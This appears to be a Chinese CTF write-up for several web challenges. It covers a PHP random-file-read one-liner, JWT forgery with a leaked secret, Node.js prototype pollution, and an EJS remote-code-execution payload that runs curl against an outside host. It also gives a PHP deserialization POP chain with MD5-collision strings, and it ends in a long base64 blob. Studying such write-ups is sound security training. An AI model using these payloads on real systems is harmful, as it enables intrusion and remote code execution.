赌狗代码,随机读文件

print_r(highlight_file(array_rand(array_flip(scandir(current(localeconv()))))));

famale_imp_l0ve

phar协议读取压缩流

源码如下

const express = require('express');

const jwt = require('jsonwebtoken');

const app = express();

const bodyParser = require('body-parser')

const path = require('path');

const jwt_secret = "VanZY";

const cookieParser = require('cookie-parser');

const putil_merge = require("putil-merge")

app.set('views', './views');

app.set('view engine', 'ejs');

app.use(cookieParser());

app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())



var Super = {};



var safecode = function (code){

    let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|stdout|Function|setInterval|setTimeout|var|\+|\*/ig;

    return !validInput.test(code);

};



app.all('/code', (req, res) => {

  res.type('html');

  if (req.method == "POST" && req.body) {

    putil_merge({}, req.body, {deep:true});

  }

  res.send("welcome to code");

});



app.all('/hint', (req, res) => {

    res.type('html');

    res.send("I heard that the challenge maker likes to use his own id as secret_key");

});



app.get('/source', (req, res) => {

  res.type('html');

  var auth = req.cookies.auth;

  jwt.verify(auth, jwt_secret , function(err, decoded) {

    try{

      if(decoded.user==='admin'){

        res.sendFile(path.join(__dirname + '/index.js'));

      }else{

        res.send('you are not admin    <!--Maybe you can view /hint-->');

      }

    }

    catch{

      res.send("Fuck you Hacker!!!")

    }

  });

});



app.all('/create', (req, res) => {

  res.type('html');

  if (!req.body.name || req.body.name === undefined || req.body.name === null){

    res.send("please input name");

  }else {

    if (Super['userrole'] === 'Superadmin') {

        res.render('index', req.body);

      }else {

        if (!safecode(req.body.name)) {

            res.send("你在做什么?快停下!!!")

        }

        else{

            res.render('index', {name: req.body.name});

        }

      }

  }

});



app.get('/',(req, res) => {

    res.type('html');

    var token = jwt.sign({'user':'guest'},jwt_secret,{ algorithm: 'HS256' });

    res.cookie('auth ',token);

    res.end('Only admin can get source in /source');



});



app.listen(3000, () => console.log('Server started on port 3000'));

jwt伪造

密钥为VanZY   (看源码有hint

原型链污染

/code



{"constructor":{"prototype":{"userrole":"Superadmin"}}}

ejs rce

参考博客:

ejs RCE CVE-2022-29078 bypass - inhann的博客 | inhann's Blog

{

  "settings":{

    "view options":{

      "escapeFunction":"console.log;this.global.process.mainModule.require('child_process').execSync('curl http://6huhzb.ceye.io');",

      "client":"true"

  }

},"name":"exec"}

反弹shell拿下

ez_php

php原生类的总结_php 原生类_Z3eyOnd的博客-CSDN博客

源码和链子如下

<?php

header("Content-type:text/html;charset=utf-8");

error_reporting(0);

show_source(__FILE__);

include('key.php');

include('waf.php');



class Me {

    public $qwe;

    public $bro;

    public $secret;



    public function __wakeup() {

        echo("进来啦<br>");

        $characters = 'abcdefghijklmnopqrstuvwxyz0123456789';

        $randomString = substr(str_shuffle($characters), 0, 6);

        $this->secret=$randomString;



        if($this->bro===$this->secret){

            echo "234";

            $bb = $this->qwe;

            return $bb();

        }



        else{

            echo("错了哥们,再试试吧<br>");

        }

    }



}



class her{

    public $asd;

    private $hername='momo';

    private $key='9';

    public function __invoke() {

        echo("好累,好想睡一觉啊<br>");

        serialize($this->asd);

    }



    public function find() {

        echo("你能找到加密用的key和她的名字吗?qwq<br>");

        if (encode($this->hername,$this->key) === 'vxvx') {

            echo("解密成功!<br>");

            $file=$_GET['file'];



            if (isset($file) && (file_get_contents($file,'r') === "loveyou"))

            {

                echo("快点的,急急急!!!<br>");

                echo new $_POST['ctf']($_GET['fun']);

            }

            else{

                echo("真的只差一步了!<br>");

            }

        }

        else{

            echo("兄弟怎么搞的?<br>");

        }

    }

}



class important{

    public $power;



    public function __sleep() {

        echo("睡饱了,接着找!<br>");

        return $this->power->seeyou;

    }

}



class useless {

    private $seeyou;

    public $QW;

    public $YXX;



    public function __construct($seeyou) {

        $this->seeyou = $seeyou;



    }



    public function __destruct() {

        $characters = '0123456789';

        $random = substr(str_shuffle($characters), 0, 6);



        if (!preg_match('/key\.php\/*$/i', $_SERVER['REQUEST_URI'])){

            if((strlen($this->QW))<80 && strlen($this->YXX)<80){

                $bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';

                if($bool){

                    echo("快拿到我的小秘密了<br>");

                    $a = isset($_GET['a'])? $_GET['a']: "" ;



                    if(!preg_match('/HTTP/i', $a)){

                        echo (basename($_SERVER[$a]));

                        echo ('<br>');



                        if(basename($_SERVER[$a])==='key.php'){

                            echo("找到了!但好像不能直接使用,怎么办,我好想她<br>");

                            $file = "key.php";

                            readfile($file);

                        }

                    }

                    else{

                        echo("你别这样,她会生气的┭┮﹏┭┮");

                    }

                }

            }

            else{

                echo("就这点能耐?怎么帮我找到她(╥╯^╰╥)<br>");

            }

        }

    }

    public function __get($good) {

        echo "you are good,你快找到我爱的那个她了<br>";

        $zhui = $this->$good;

        $zhui[$good]();

    }

}



$a = new Me();

$a->bro = &$a->secret;

$a->qwe = new her();

$a->qwe->asd = new important();

$args2 = array(new her,'find');

$args = array('seeyou'=>$args2);

$a->qwe->asd->power = new useless($args);



//$c='%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2';

//$a->qwe->asd->power->YXX = urldecode($c);

//$d = '%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2';

//$a->qwe->asd->power->QW = urldecode($d);







$b = new SplStack();

$b->push($a);

echo urlencode(serialize($b));

?>

分析源码,决定从Me类入手,这里使用SPL类进行绕过,经过测试发现,php7.3是可以执行成功的,而php7.4无法序列化出C开头的链子

$a = new Me();

$b = new SplStack();

$b->push($a);

echo urlencode(serialize($b));

这里给secret赋值随机数,使用引用绕过

$a = new Me();

$a->bro = &$a->secret;

$b = new SplStack();

$b->push($a);

echo urlencode(serialize($b));

return $bb();这里触发invoke

$a = new Me();

$a->bro = &$a->secret;

$a->qwe = new her();

$b = new SplStack();

$b->push($a);

echo urlencode(serialize($b));

然后这里的序列化触发了sleep

$a = new Me();

$a->bro = &$a->secret;

$a->qwe = new her();

$a->qwe->asd = new important();

$b = new SplStack();

$b->push($a);

echo urlencode(serialize($b));

sleep这里我是改成了construct,否则无法生成序列化串

$a = new Me();

$a->bro = &$a->secret;

$a->qwe = new her();

$a->qwe->asd = new important();

$c='%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2';

$a->qwe->asd->power->YXX = urldecode($c);

$d = '%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2';



$a->qwe->asd->power = new useless($args);

$a->qwe->asd->power->QW = urldecode($d);

$b = new SplStack();

$b->push($a);

echo urlencode(serialize($b));

在这里md5强碰撞,然后HTTP部分使用content-type进行绕过

最终得到一堆key

/*/9j/4AAQSkZJRgABAQEAkACQAAD/2wBDAAIBAQIBAQICAgICAgICAwUDAwMDAwYEBAMFBwYHBwcG

BwcICQsJCAgKCAcHCg0KCgsMDAwMBwkODw0MDgsMDAz/2wBDAQICAgMDAwYDAwYMCAcIDAwMDAwM

DAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAz/wAARCAH0Ah4DASIA

AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA

AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3

ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm

p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA

AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx

BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK

U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3

uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD0bS7S

aOxVZpFdl7dMVJ5Oxv8APNQ2x2+tWv8AWLivwypNy2P2J+8R6nJ/xLJMc18s/GLx1JZa+yzbsSZx

zjpj/Gvp7Un8rTJj/dGa+MvjRrDaprU0cmPkd1B+mK+Wzy1RwT8/0PsOHNEZ2oeJVvoo5EjJHP8A

F9Parfh//iYvH/DuP5VjeErIXsKRt0FewfDzwHp8LR/aH3bvu/L/APXr536vefs6aPpqmI62JPA3

wyun1S3uPNCooJbKdP1r3v4beGLfwp4stpPO/wBZnjb1x+PvXB6Jr974c1KVbGOOaTj5XH3sZ79u

tel6bd/2lpKSRr5c9q3mpznI7/0r2MDl84RcZHh1sZz2urHV3ms291ctDNDJDHb/AOrVx69f5CuW

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

